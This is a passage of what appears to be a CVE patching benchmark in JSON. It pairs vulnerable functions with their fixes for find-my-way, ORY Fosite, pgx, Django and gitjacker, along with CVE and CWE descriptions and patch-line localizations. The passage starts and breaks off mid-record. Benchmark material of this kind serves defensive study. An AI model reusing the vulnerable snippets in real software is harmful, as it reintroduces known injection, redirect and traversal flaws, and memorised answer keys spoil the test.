                "snippet": "function buildURL (source, reqBase) {\n  const dest = new URL(source, reqBase)\n\n  // if base is specified, source url should not override it\n  if (reqBase) {\n    if (!reqBase.endsWith('/') && dest.href.length > reqBase.length) {\n      reqBase = reqBase + '/'\n    }\n\n    if (!dest.href.startsWith(reqBase)) {\n      throw new Error('source must be a relative path string')\n    }\n  }\n\n  return dest\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-21321"
    },
    {
        "cve_id": "CVE-2020-7764",
        "cve_description": "This affects the package find-my-way before 2.2.5, from 3.0.0 and before 3.0.5. It accepts the Accept-Version' header by default, and if versioned routes are not being used, this could lead to a denial of service. Accept-Version can be used as an unkeyed header in a cache poisoning attack.",
        "cwe_info": {
            "CWE-444": {
                "name": "Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')",
                "description": "The product acts as an intermediary HTTP agent\n         (such as a proxy or firewall) in the data flow between two\n         entities such as a client and server, but it does not\n         interpret malformed HTTP requests or responses in ways that\n         are consistent with how the messages will be processed by\n         those entities that are at the ultimate destination."
            }
        },
        "repo": "https://github.com/delvedor/find-my-way",
        "patch_url": [
            "https://github.com/delvedor/find-my-way/commit/ab408354690e6b9cf3c4724befb3b3fa4bb90aac"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_65_1",
                "commit": "b9337ca",
                "file_path": "index.js",
                "start_line": 30,
                "end_line": 57,
                "snippet": "function Router (opts) {\n  if (!(this instanceof Router)) {\n    return new Router(opts)\n  }\n  opts = opts || {}\n\n  if (opts.defaultRoute) {\n    assert(typeof opts.defaultRoute === 'function', 'The default route must be a function')\n    this.defaultRoute = opts.defaultRoute\n  } else {\n    this.defaultRoute = null\n  }\n\n  if (opts.onBadUrl) {\n    assert(typeof opts.onBadUrl === 'function', 'The bad url handler must be a function')\n    this.onBadUrl = opts.onBadUrl\n  } else {\n    this.onBadUrl = null\n  }\n\n  this.caseSensitive = opts.caseSensitive === undefined ? true : opts.caseSensitive\n  this.ignoreTrailingSlash = opts.ignoreTrailingSlash || false\n  this.maxParamLength = opts.maxParamLength || 100\n  this.allowUnsafeRegex = opts.allowUnsafeRegex || false\n  this.versioning = opts.versioning || acceptVersionStrategy\n  this.trees = {}\n  this.routes = []\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            25
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_js_65_2",
                "commit": "b9337ca",
                "file_path": "index.js",
                "start_line": 85,
                "end_line": 195,
                "snippet": "Router.prototype._on = function _on (method, path, opts, handler, store) {\n  if (Array.isArray(method)) {\n    for (var k = 0; k < method.length; k++) {\n      this._on(method[k], path, opts, handler, store)\n    }\n    return\n  }\n\n  // method validation\n  assert(typeof method === 'string', 'Method should be a string')\n  assert(httpMethods.indexOf(method) !== -1, `Method '${method}' is not an http method.`)\n\n  // version validation\n  if (opts.version !== undefined) {\n    assert(typeof opts.version === 'string', 'Version should be a string')\n  }\n\n  const params = []\n  var j = 0\n\n  this.routes.push({\n    method: method,\n    path: path,\n    opts: opts,\n    handler: handler,\n    store: store\n  })\n\n  const version = opts.version\n\n  for (var i = 0, len = path.length; i < len; i++) {\n    // search for parametric or wildcard routes\n    // parametric route\n    if (path.charCodeAt(i) === 58) {\n      var nodeType = NODE_TYPES.PARAM\n      j = i + 1\n      var staticPart = path.slice(0, i)\n\n      if (this.caseSensitive === false) {\n        staticPart = staticPart.toLowerCase()\n      }\n\n      // add the static part of the route to the tree\n      this._insert(method, staticPart, NODE_TYPES.STATIC, null, null, null, null, version)\n\n      // isolate the parameter name\n      var isRegex = false\n      while (i < len && path.charCodeAt(i) !== 47) {\n        isRegex = isRegex || path[i] === '('\n        if (isRegex) {\n          i = getClosingParenthensePosition(path, i) + 1\n          break\n        } else if (path.charCodeAt(i) !== 45) {\n          i++\n        } else {\n          break\n        }\n      }\n\n      if (isRegex && (i === len || path.charCodeAt(i) === 47)) {\n        nodeType = NODE_TYPES.REGEX\n      } else if (i < len && path.charCodeAt(i) !== 47) {\n        nodeType = NODE_TYPES.MULTI_PARAM\n      }\n\n      var parameter = path.slice(j, i)\n      var regex = isRegex ? parameter.slice(parameter.indexOf('('), i) : null\n      if (isRegex) {\n        regex = new RegExp(regex)\n        if (!this.allowUnsafeRegex) {\n          assert(isRegexSafe(regex), `The regex '${regex.toString()}' is not safe!`)\n        }\n      }\n      params.push(parameter.slice(0, isRegex ? parameter.indexOf('(') : i))\n\n      path = path.slice(0, j) + path.slice(i)\n      i = j\n      len = path.length\n\n      // if the path is ended\n      if (i === len) {\n        var completedPath = path.slice(0, i)\n        if (this.caseSensitive === false) {\n          completedPath = completedPath.toLowerCase()\n        }\n        return this._insert(method, completedPath, nodeType, params, handler, store, regex, version)\n      }\n      // add the parameter and continue with the search\n      staticPart = path.slice(0, i)\n      if (this.caseSensitive === false) {\n        staticPart = staticPart.toLowerCase()\n      }\n      this._insert(method, staticPart, nodeType, params, null, null, regex, version)\n\n      i--\n    // wildcard route\n    } else if (path.charCodeAt(i) === 42) {\n      this._insert(method, path.slice(0, i), NODE_TYPES.STATIC, null, null, null, null, version)\n      // add the wildcard parameter\n      params.push('*')\n      return this._insert(method, path.slice(0, len), NODE_TYPES.MATCH_ALL, params, handler, store, null, version)\n    }\n  }\n\n  if (this.caseSensitive === false) {\n    path = path.toLowerCase()\n  }\n\n  // static route\n  this._insert(method, path, NODE_TYPES.STATIC, params, handler, store, null, version)\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            29
                        ],
                        "tag": "add"
                    }
                ]
            },
            {
                "id": "vul_js_65_3",
                "commit": "b9337ca",
                "file_path": "lib/accept-version.js",
                "start_line": 5,
                "end_line": 10,
                "snippet": "module.exports = {\n  storage: SemVerStore,\n  deriveVersion: function (req, ctx) {\n    return req.headers['accept-version']\n  }\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            1,
                            2,
                            3,
                            4
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_65_1",
                "commit": "ab408354690e6b9cf3c4724befb3b3fa4bb90aac",
                "file_path": "index.js",
                "start_line": 30,
                "end_line": 57,
                "snippet": "function Router (opts) {\n  if (!(this instanceof Router)) {\n    return new Router(opts)\n  }\n  opts = opts || {}\n\n  if (opts.defaultRoute) {\n    assert(typeof opts.defaultRoute === 'function', 'The default route must be a function')\n    this.defaultRoute = opts.defaultRoute\n  } else {\n    this.defaultRoute = null\n  }\n\n  if (opts.onBadUrl) {\n    assert(typeof opts.onBadUrl === 'function', 'The bad url handler must be a function')\n    this.onBadUrl = opts.onBadUrl\n  } else {\n    this.onBadUrl = null\n  }\n\n  this.caseSensitive = opts.caseSensitive === undefined ? true : opts.caseSensitive\n  this.ignoreTrailingSlash = opts.ignoreTrailingSlash || false\n  this.maxParamLength = opts.maxParamLength || 100\n  this.allowUnsafeRegex = opts.allowUnsafeRegex || false\n  this.versioning = opts.versioning || acceptVersionStrategy(false)\n  this.trees = {}\n  this.routes = []\n}"
            },
            {
                "id": "fix_js_65_2",
                "commit": "ab408354690e6b9cf3c4724befb3b3fa4bb90aac",
                "file_path": "index.js",
                "start_line": 85,
                "end_line": 198,
                "snippet": "Router.prototype._on = function _on (method, path, opts, handler, store) {\n  if (Array.isArray(method)) {\n    for (var k = 0; k < method.length; k++) {\n      this._on(method[k], path, opts, handler, store)\n    }\n    return\n  }\n\n  // method validation\n  assert(typeof method === 'string', 'Method should be a string')\n  assert(httpMethods.indexOf(method) !== -1, `Method '${method}' is not an http method.`)\n\n  // version validation\n  if (opts.version !== undefined) {\n    assert(typeof opts.version === 'string', 'Version should be a string')\n  }\n\n  const params = []\n  var j = 0\n\n  this.routes.push({\n    method: method,\n    path: path,\n    opts: opts,\n    handler: handler,\n    store: store\n  })\n\n  const version = opts.version\n  if (version != null && this.versioning.disabled) {\n    this.versioning = acceptVersionStrategy(true)\n  }\n\n  for (var i = 0, len = path.length; i < len; i++) {\n    // search for parametric or wildcard routes\n    // parametric route\n    if (path.charCodeAt(i) === 58) {\n      var nodeType = NODE_TYPES.PARAM\n      j = i + 1\n      var staticPart = path.slice(0, i)\n\n      if (this.caseSensitive === false) {\n        staticPart = staticPart.toLowerCase()\n      }\n\n      // add the static part of the route to the tree\n      this._insert(method, staticPart, NODE_TYPES.STATIC, null, null, null, null, version)\n\n      // isolate the parameter name\n      var isRegex = false\n      while (i < len && path.charCodeAt(i) !== 47) {\n        isRegex = isRegex || path[i] === '('\n        if (isRegex) {\n          i = getClosingParenthensePosition(path, i) + 1\n          break\n        } else if (path.charCodeAt(i) !== 45) {\n          i++\n        } else {\n          break\n        }\n      }\n\n      if (isRegex && (i === len || path.charCodeAt(i) === 47)) {\n        nodeType = NODE_TYPES.REGEX\n      } else if (i < len && path.charCodeAt(i) !== 47) {\n        nodeType = NODE_TYPES.MULTI_PARAM\n      }\n\n      var parameter = path.slice(j, i)\n      var regex = isRegex ? parameter.slice(parameter.indexOf('('), i) : null\n      if (isRegex) {\n        regex = new RegExp(regex)\n        if (!this.allowUnsafeRegex) {\n          assert(isRegexSafe(regex), `The regex '${regex.toString()}' is not safe!`)\n        }\n      }\n      params.push(parameter.slice(0, isRegex ? parameter.indexOf('(') : i))\n\n      path = path.slice(0, j) + path.slice(i)\n      i = j\n      len = path.length\n\n      // if the path is ended\n      if (i === len) {\n        var completedPath = path.slice(0, i)\n        if (this.caseSensitive === false) {\n          completedPath = completedPath.toLowerCase()\n        }\n        return this._insert(method, completedPath, nodeType, params, handler, store, regex, version)\n      }\n      // add the parameter and continue with the search\n      staticPart = path.slice(0, i)\n      if (this.caseSensitive === false) {\n        staticPart = staticPart.toLowerCase()\n      }\n      this._insert(method, staticPart, nodeType, params, null, null, regex, version)\n\n      i--\n    // wildcard route\n    } else if (path.charCodeAt(i) === 42) {\n      this._insert(method, path.slice(0, i), NODE_TYPES.STATIC, null, null, null, null, version)\n      // add the wildcard parameter\n      params.push('*')\n      return this._insert(method, path.slice(0, len), NODE_TYPES.MATCH_ALL, params, handler, store, null, version)\n    }\n  }\n\n  if (this.caseSensitive === false) {\n    path = path.toLowerCase()\n  }\n\n  // static route\n  this._insert(method, path, NODE_TYPES.STATIC, params, handler, store, null, version)\n}"
            },
            {
                "id": "fix_js_65_3",
                "commit": "ab408354690e6b9cf3c4724befb3b3fa4bb90aac",
                "file_path": "lib/accept-version.js",
                "start_line": 5,
                "end_line": 21,
                "snippet": "function build (enabled) {\n  if (enabled) {\n    return {\n      storage: SemVerStore,\n      deriveVersion: function (req, ctx) {\n        return req.headers['accept-version']\n      }\n    }\n  }\n  return {\n    storage: SemVerStore,\n    deriveVersion: function (req, ctx) {},\n    disabled: true\n  }\n}\n\nmodule.exports = build"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-7764"
    },
    {
        "cve_id": "CVE-2020-15233",
        "cve_description": "ORY Fosite OAuth2 redirect URI validation permits overly broad matching for native-app loopback redirects. A requested loopback redirect URI can be accepted even when it changes security-relevant parts of a registered redirect URI, including host or address-family, path case, or query parameters. An attacker with access to the loopback interface can use a crafted authorization request to override the registered redirect target or attach attacker-controlled query parameters during an OAuth flow.",
        "cwe_info": {
            "CWE-601": {
                "name": "URL Redirection to Untrusted Site ('Open Redirect')",
                "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."
            }
        },
        "repo": "https://github.com/ory/fosite",
        "patch_url": [
            "https://github.com/ory/fosite/commit/cdee51ebe721bfc8acca0fd0b86b030ca70867bf"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_23_1",
                "commit": "eb87048",
                "file_path": "authorize_helper.go",
                "start_line": 114,
                "end_line": 126,
                "snippet": "func isMatchingRedirectURI(uri string, haystack []string) bool {\n\trequested, err := url.Parse(uri)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tfor _, b := range haystack {\n\t\tif strings.ToLower(b) == strings.ToLower(uri) || isLoopbackURI(requested, b) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            7,
                            8,
                            9,
                            11
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_go_23_2",
                "commit": "eb87048",
                "file_path": "authorize_helper.go",
                "start_line": 128,
                "end_line": 143,
                "snippet": "func isLoopbackURI(requested *url.URL, registeredURI string) bool {\n\tregistered, err := url.Parse(registeredURI)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tif registered.Scheme != \"http\" || !isLoopbackAddress(registered.Host) {\n\t\treturn false\n\t}\n\n\tif requested.Scheme == \"http\" && isLoopbackAddress(requested.Host) && registered.Path == requested.Path {\n\t\treturn true\n\t}\n\n\treturn false\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            7,
                            8,
                            9,
                            10,
                            11
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_23_1",
                "commit": "cdee51e",
                "file_path": "authorize_helper.go",
                "start_line": 114,
                "end_line": 126,
                "snippet": "func isMatchingRedirectURI(uri string, haystack []string) bool {\n\trequested, err := url.Parse(uri)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tfor _, b := range haystack {\n\t\tif b == uri || isMatchingAsLoopback(requested, b) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}"
            },
            {
                "id": "fix_go_23_2",
                "commit": "cdee51e",
                "file_path": "authorize_helper.go",
                "start_line": 128,
                "end_line": 153,
                "snippet": "func isMatchingAsLoopback(requested *url.URL, registeredURI string) bool {\n\tregistered, err := url.Parse(registeredURI)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\t// Native apps that are able to open a port on the loopback network\n\t// interface without needing special permissions (typically, those on\n\t// desktop operating systems) can use the loopback interface to receive\n\t// the OAuth redirect.\n\t//\n\t// Loopback redirect URIs use the \"http\" scheme and are constructed with\n\t// the loopback IP literal and whatever port the client is listening on.\n\t//\n\t// Source: https://tools.ietf.org/html/rfc8252#section-7.3\n\tif requested.Scheme == \"http\" &&\n\t\tisLoopbackAddress(requested.Host) &&\n\t\tregistered.Hostname() == requested.Hostname() &&\n\t\t// The port is skipped here - see codedoc above!\n\t\tregistered.Path == requested.Path &&\n\t\tregistered.RawQuery == requested.RawQuery {\n\t\treturn true\n\t}\n\n\treturn false\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-15233"
    },
    {
        "cve_id": "CVE-2024-27289",
        "cve_description": "pgx is a PostgreSQL driver and toolkit for Go. Prior to version 4.18.2, SQL injection can occur when all of the following conditions are met: the non-default simple protocol is used; a placeholder for a numeric value must be immediately preceded by a minus; there must be a second placeholder for a string value after the first placeholder; both must be on the same line; and both parameter values must be user-controlled. The problem is resolved in v4.18.2. As a workaround, do not use the simple protocol or do not place a minus directly before a placeholder.",
        "cwe_info": {
            "CWE-89": {
                "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')",
                "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."
            }
        },
        "repo": "https://github.com/jackc/pgx",
        "patch_url": [
            "https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_27_1",
                "commit": "826a892",
                "file_path": "internal/sanitize/sanitize.go",
                "start_line": 27,
                "end_line": 83,
                "snippet": "func (q *Query) Sanitize(args ...interface{}) (string, error) {\n\targUse := make([]bool, len(args))\n\tbuf := &bytes.Buffer{}\n\n\tfor _, part := range q.Parts {\n\t\tvar str string\n\t\tswitch part := part.(type) {\n\t\tcase string:\n\t\t\tstr = part\n\t\tcase int:\n\t\t\targIdx := part - 1\n\t\t\tif argIdx >= len(args) {\n\t\t\t\treturn \"\", fmt.Errorf(\"insufficient arguments\")\n\t\t\t}\n\t\t\targ := args[argIdx]\n\t\t\tswitch arg := arg.(type) {\n\t\t\tcase nil:\n\t\t\t\tstr = \"null\"\n\t\t\tcase int64:\n\t\t\t\tstr = strconv.FormatInt(arg, 10)\n\t\t\t\t// Prevent SQL injection via Line Comment Creation\n\t\t\t\t// https://github.com/jackc/pgx/security/advisories/GHSA-m7wr-2xf7-cm9p\n\t\t\t\tif arg < 0 {\n\t\t\t\t\tstr = \"(\" + str + \")\"\n\t\t\t\t}\n\t\t\tcase float64:\n\t\t\t\t// Prevent SQL injection via Line Comment Creation\n\t\t\t\t// https://github.com/jackc/pgx/security/advisories/GHSA-m7wr-2xf7-cm9p\n\t\t\t\tstr = strconv.FormatFloat(arg, 'f', -1, 64)\n\t\t\t\tif arg < 0 {\n\t\t\t\t\tstr = \"(\" + str + \")\"\n\t\t\t\t}\n\t\t\tcase bool:\n\t\t\t\tstr = strconv.FormatBool(arg)\n\t\t\tcase []byte:\n\t\t\t\tstr = QuoteBytes(arg)\n\t\t\tcase string:\n\t\t\t\tstr = QuoteString(arg)\n\t\t\tcase time.Time:\n\t\t\t\tstr = arg.Truncate(time.Microsecond).Format(\"'2006-01-02 15:04:05.999999999Z07:00:00'\")\n\t\t\tdefault:\n\t\t\t\treturn \"\", fmt.Errorf(\"invalid arg type: %T\", arg)\n\t\t\t}\n\t\t\targUse[argIdx] = true\n\t\tdefault:\n\t\t\treturn \"\", fmt.Errorf(\"invalid Part type: %T\", part)\n\t\t}\n\t\tbuf.WriteString(str)\n\t}\n\n\tfor i, used := range argUse {\n\t\tif !used {\n\t\t\treturn \"\", fmt.Errorf(\"unused argument: %d\", i)\n\t\t}\n\t}\n\treturn buf.String(), nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            44
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            23,
                            24,
                            25
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            30,
                            31,
                            32
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_27_1",
                "commit": "f94eb0e",
                "file_path": "internal/sanitize/sanitize.go",
                "start_line": 27,
                "end_line": 77,
                "snippet": "func (q *Query) Sanitize(args ...interface{}) (string, error) {\n\targUse := make([]bool, len(args))\n\tbuf := &bytes.Buffer{}\n\n\tfor _, part := range q.Parts {\n\t\tvar str string\n\t\tswitch part := part.(type) {\n\t\tcase string:\n\t\t\tstr = part\n\t\tcase int:\n\t\t\targIdx := part - 1\n\t\t\tif argIdx >= len(args) {\n\t\t\t\treturn \"\", fmt.Errorf(\"insufficient arguments\")\n\t\t\t}\n\t\t\targ := args[argIdx]\n\t\t\tswitch arg := arg.(type) {\n\t\t\tcase nil:\n\t\t\t\tstr = \"null\"\n\t\t\tcase int64:\n\t\t\t\tstr = strconv.FormatInt(arg, 10)\n\t\t\tcase float64:\n\t\t\t\tstr = strconv.FormatFloat(arg, 'f', -1, 64)\n\t\t\tcase bool:\n\t\t\t\tstr = strconv.FormatBool(arg)\n\t\t\tcase []byte:\n\t\t\t\tstr = QuoteBytes(arg)\n\t\t\tcase string:\n\t\t\t\tstr = QuoteString(arg)\n\t\t\tcase time.Time:\n\t\t\t\tstr = arg.Truncate(time.Microsecond).Format(\"'2006-01-02 15:04:05.999999999Z07:00:00'\")\n\t\t\tdefault:\n\t\t\t\treturn \"\", fmt.Errorf(\"invalid arg type: %T\", arg)\n\t\t\t}\n\t\t\targUse[argIdx] = true\n\n\t\t\t// Prevent SQL injection via Line Comment Creation\n\t\t\t// https://github.com/jackc/pgx/security/advisories/GHSA-m7wr-2xf7-cm9p\n\t\t\tstr = \"(\" + str + \")\"\n\t\tdefault:\n\t\t\treturn \"\", fmt.Errorf(\"invalid Part type: %T\", part)\n\t\t}\n\t\tbuf.WriteString(str)\n\t}\n\n\tfor i, used := range argUse {\n\t\tif !used {\n\t\t\treturn \"\", fmt.Errorf(\"unused argument: %d\", i)\n\t\t}\n\t}\n\treturn buf.String(), nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-27289"
    },
    {
        "cve_id": "CVE-2017-7233",
        "cve_description": "Django 1.10 before 1.10.7, 1.9 before 1.9.13, and 1.8 before 1.8.18 relies on user input in some cases to redirect the user to an \"on success\" URL. The security check for these redirects (namely ``django.utils.http.is_safe_url()``) considered some numeric URLs \"safe\" when they shouldn't be, aka an open redirect vulnerability. Also, if a developer relies on ``is_safe_url()`` to provide safe redirect targets and puts such a URL into a link, they could suffer from an XSS attack.",
        "cwe_info": {
            "CWE-601": {
                "name": "URL Redirection to Untrusted Site ('Open Redirect')",
                "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."
            }
        },
        "repo": "https://github.com/django/django",
        "patch_url": [
            "https://github.com/django/django/commit/8339277518c7d8ec280070a780915304654e3b66",
            "https://github.com/django/django/commit/254326cb3682389f55f886804d2c43f7b9f23e4f",
            "https://github.com/django/django/commit/f824655bc2c50b19d2f202d7640785caabc82787"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_8_1",
                "commit": "5f1ffb0",
                "file_path": "django/utils/http.py",
                "start_line": 303,
                "end_line": 321,
                "snippet": "def _is_safe_url(url, host):\n    # Chrome considers any URL with more than two slashes to be absolute, but\n    # urlparse is not so flexible. Treat any url with three slashes as unsafe.\n    if url.startswith('///'):\n        return False\n    url_info = urlparse(url)\n    # Forbid URLs like http:///example.com - with a scheme, but without a hostname.\n    # In that URL, example.com is not the hostname but, a path component. However,\n    # Chrome will still consider example.com to be the hostname, so we must not\n    # allow this syntax.\n    if not url_info.netloc and url_info.scheme:\n        return False\n    # Forbid URLs that start with control characters. Some browsers (like\n    # Chrome) ignore quite a few control characters at the start of a\n    # URL and might consider the URL as scheme relative.\n    if unicodedata.category(url[0])[0] == 'C':\n        return False\n    return ((not url_info.netloc or url_info.netloc == host) and\n            (not url_info.scheme or url_info.scheme in ['http', 'https']))",
                "vul_localization": [
                    {
                        "patch_lines": [
                            6
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_8_1",
                "commit": "254326c",
                "file_path": "django/utils/http.py",
                "start_line": 314,
                "end_line": 384,
                "snippet": "# Copied from urllib.parse.urlparse() but uses fixed urlsplit() function.\ndef _urlparse(url, scheme='', allow_fragments=True):\n    \"\"\"Parse a URL into 6 components:\n    :///;?#\n    Return a 6-tuple: (scheme, netloc, path, params, query, fragment).\n    Note that we don't break the components up in smaller bits\n    (e.g. netloc is a single string) and we don't expand % escapes.\"\"\"\n    if _coerce_args:\n        url, scheme, _coerce_result = _coerce_args(url, scheme)\n    splitresult = _urlsplit(url, scheme, allow_fragments)\n    scheme, netloc, url, query, fragment = splitresult\n    if scheme in uses_params and ';' in url:\n        url, params = _splitparams(url)\n    else:\n        params = ''\n    result = ParseResult(scheme, netloc, url, params, query, fragment)\n    return _coerce_result(result) if _coerce_args else result\n\n\n# Copied from urllib.parse.urlsplit() with\n# https://github.com/python/cpython/pull/661 applied.\ndef _urlsplit(url, scheme='', allow_fragments=True):\n    \"\"\"Parse a URL into 5 components:\n    :///?#\n    Return a 5-tuple: (scheme, netloc, path, query, fragment).\n    Note that we don't break the components up in smaller bits\n    (e.g. netloc is a single string) and we don't expand % escapes.\"\"\"\n    if _coerce_args:\n        url, scheme, _coerce_result = _coerce_args(url, scheme)\n    allow_fragments = bool(allow_fragments)\n    netloc = query = fragment = ''\n    i = url.find(':')\n    if i > 0:\n        for c in url[:i]:\n            if c not in scheme_chars:\n                break\n        else:\n            scheme, url = url[:i].lower(), url[i + 1:]\n\n    if url[:2] == '//':\n        netloc, url = _splitnetloc(url, 2)\n        if (('[' in netloc and ']' not in netloc) or\n                (']' in netloc and '[' not in netloc)):\n            raise ValueError(\"Invalid IPv6 URL\")\n    if allow_fragments and '#' in url:\n        url, fragment = url.split('#', 1)\n    if '?' in url:\n        url, query = url.split('?', 1)\n    v = SplitResult(scheme, netloc, url, query, fragment)\n    return _coerce_result(v) if _coerce_args else v\n\n\ndef _is_safe_url(url, host):\n    # Chrome considers any URL with more than two slashes to be absolute, but\n    # urlparse is not so flexible. Treat any url with three slashes as unsafe.\n    if url.startswith('///'):\n        return False\n    url_info = _urlparse(url)\n    # Forbid URLs like http:///example.com - with a scheme, but without a hostname.\n    # In that URL, example.com is not the hostname but, a path component. However,\n    # Chrome will still consider example.com to be the hostname, so we must not\n    # allow this syntax.\n    if not url_info.netloc and url_info.scheme:\n        return False\n    # Forbid URLs that start with control characters. Some browsers (like\n    # Chrome) ignore quite a few control characters at the start of a\n    # URL and might consider the URL as scheme relative.\n    if unicodedata.category(url[0])[0] == 'C':\n        return False\n    return ((not url_info.netloc or url_info.netloc == host) and\n            (not url_info.scheme or url_info.scheme in ['http', 'https']))"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2017-7233"
    },
    {
        "cve_id": "CVE-2021-29417",
        "cve_description": "gitjacker before 0.1.0 allows remote attackers to execute arbitrary code via a crafted .git directory because of directory traversal.",
        "cwe_info": {
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/liamg/gitjacker",
        "patch_url": [
            "https://github.com/liamg/gitjacker/commit/d72a53a"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_46_1",
                "commit": "e8546ea",
                "file_path": "internal/pkg/gitjacker/retriever.go",
                "start_line": 159,
                "end_line": 287,
                "snippet": "func (r *retriever) downloadFile(path string) error {\n\n\tpath = strings.TrimSpace(path)\n\n\tfilePath := filepath.Join(r.outputDir, \".git\", path)\n\n\tif r.downloaded[path] {\n\t\treturn nil\n\t}\n\tr.downloaded[path] = true\n\n\trelative, err := url.Parse(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tabsolute := r.baseURL.ResolveReference(relative)\n\tresp, err := r.http.Get(absolute.String())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to retrieve %s: %w\", absolute.String(), err)\n\t}\n\tdefer func() { _ = resp.Body.Close() }()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"unexpected status code for url %s : %d\", absolute.String(), resp.StatusCode)\n\t}\n\n\tcontent, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := os.MkdirAll(filepath.Dir(filePath), 0755); err != nil {\n\t\treturn err\n\t}\n\n\tif !strings.HasSuffix(path, \"/\") {\n\t\tif err := ioutil.WriteFile(filePath, content, 0640); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to write %s: %w\", filePath, err)\n\t\t}\n\t}\n\n\tswitch path {\n\tcase \"HEAD\":\n\t\tref := strings.TrimPrefix(string(content), \"ref: \")\n\t\tif err := r.downloadFile(ref); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\tcase \"config\":\n\t\treturn r.analyseConfig(content)\n\tcase \"objects/pack/\":\n\t\t// parse the directory listing\n\t\tpackFiles := packLinkRegex.FindAllStringSubmatch(string(content), -1)\n\t\tfor _, packFile := range packFiles {\n\t\t\tif len(packFile) <= 1 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err := r.downloadFile(fmt.Sprintf(\"objects/pack/%s\", packFile[1])); err != nil {\n\t\t\t\tlogrus.Debugf(\"Failed to retrieve pack file %s: %s\", packFile[1], err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\treturn nil\n\tcase \"objects/info/packs\":\n\t\treturn r.parsePackMetadata(content)\n\t}\n\n\tif strings.HasSuffix(path, \".pack\") {\n\t\treturn r.parsePackFile(path, content)\n\t}\n\n\tif strings.HasPrefix(path, \"refs/heads/\") {\n\t\tif _, err := r.downloadObject(string(content)); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\t}\n\n\thash := filepath.Base(filepath.Dir(path)) + filepath.Base(path)\n\n\tobjectType, err := r.getObjectType(hash)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch objectType {\n\tcase GitCommitFile:\n\n\t\tcommit, err := r.readCommit(hash)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tlogrus.Debugf(\"Successfully retrieved commit %s.\", hash)\n\n\t\tif commit.Tree != \"\" {\n\t\t\tif _, err := r.downloadObject(commit.Tree); err != nil {\n\t\t\t\tlogrus.Debugf(\"Object %s is missing and likely packed.\", commit.Tree)\n\t\t\t}\n\t\t}\n\t\tfor _, parent := range commit.Parents {\n\t\t\tif _, err := r.downloadObject(parent); err != nil {\n\t\t\t\tlogrus.Debugf(\"Object %s is missing and likely packed.\", parent)\n\t\t\t}\n\t\t}\n\n\tcase GitTreeFile:\n\n\t\ttree, err := r.readTree(hash)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tlogrus.Debugf(\"Successfully retrieved tree %s.\", hash)\n\n\t\tfor _, subHash := range tree.Objects {\n\t\t\tif _, err := r.downloadObject(subHash); err != nil {\n\t\t\t\tlogrus.Debugf(\"Object %s is missing and likely packed.\", subHash)\n\t\t\t}\n\t\t}\n\tcase GitBlobFile:\n\t\tlogrus.Debugf(\"Successfully retrieved blob %s.\", hash)\n\tdefault:\n\t\treturn fmt.Errorf(\"unknown git file type for %s: 